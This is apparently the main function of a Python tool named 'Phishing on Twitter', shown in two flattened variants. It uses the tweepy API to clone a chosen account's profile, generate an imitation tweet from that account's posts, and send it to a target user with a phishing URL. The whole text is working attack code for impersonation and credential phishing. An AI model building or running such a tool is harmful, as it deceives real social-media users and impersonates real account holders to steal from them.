def main(): try: auth = tweepy.OAuthHandler(consumer_key, consumer_secret) auth.set_access_token(access_key, access_secret) auth.get_authorization_url() api = tweepy.API(auth) except tweepy.TweepError: print('Error') username = sys.argv[1] user = api.get_user(username) target = Fake(user) target.getMentions(api) spoofAccount = input("Select account: ") url = input("Phising URL: ") print("\n\n") spoofAc = Fake(api.get_user(spoofAccount)) spoofAc.spoofProfile(api) tweets = spoofAc.getTweets(api) fakeTweetGenerator = TweetGenerator(tweets) fakeTweet = fakeTweetGenerator.setup(tweets) fakeTweet = ".@{} {} {} .".format(username, fakeTweet, url) print("\n***********************") print("This fake tweet has been sent:") print(colored(fakeTweet, 'green')) print("***********************") api.update_status(fakeTweet) # send tweet
def main(): try: config = configparser.RawConfigParser() config.read(os.path.join(os.path.dirname(__file__), 'PoT.cfg')) consumer_key = config.get('twitter_api', 'consumer_key') consumer_secret = config.get('twitter_api', 'consumer_secret') access_token_key = config.get('twitter_api', 'access_token_key') access_token_secret = config.get('twitter_api', 'access_token_secret') parser = argparse.ArgumentParser(description='Phishing on Twitter') parser.add_argument('-u', '--username', help='username to phish with ') args = parser.parse_args() try: auth = tweepy.OAuthHandler(consumer_key, consumer_secret) auth.set_access_token(access_token_key, access_token_secret) auth.get_authorization_url() api = tweepy.API(auth) except tweepy.TweepError: print(bad + 'Authentication Error') exit(1) if args.username: username = args.username else: print("There is a mistake about username") user = api.get_user(username) target = Fake(user) target.getMentions(api) spoofAccount = input(que + "Select account: ") url = input(que + "Phishing URL: ") print(hardreturn * 2) spoofAc = Fake(api.get_user(spoofAccount)) spoofAc.spoofProfile(api) tweets = spoofAc.getTweets(api) fakeTweetGenerator = TweetGenerator(tweets) fakeTweet = fakeTweetGenerator.setup(tweets) fakeTweet = ".@{} {} {} .".format(username, fakeTweet, url) print(hardreturn) print("***********************") print("This fake tweet has been sent:") print(colored(fakeTweet, 'green')) print("***********************") api.update_status(fakeTweet) # send tweet except Exception as e: print(bad + str(e))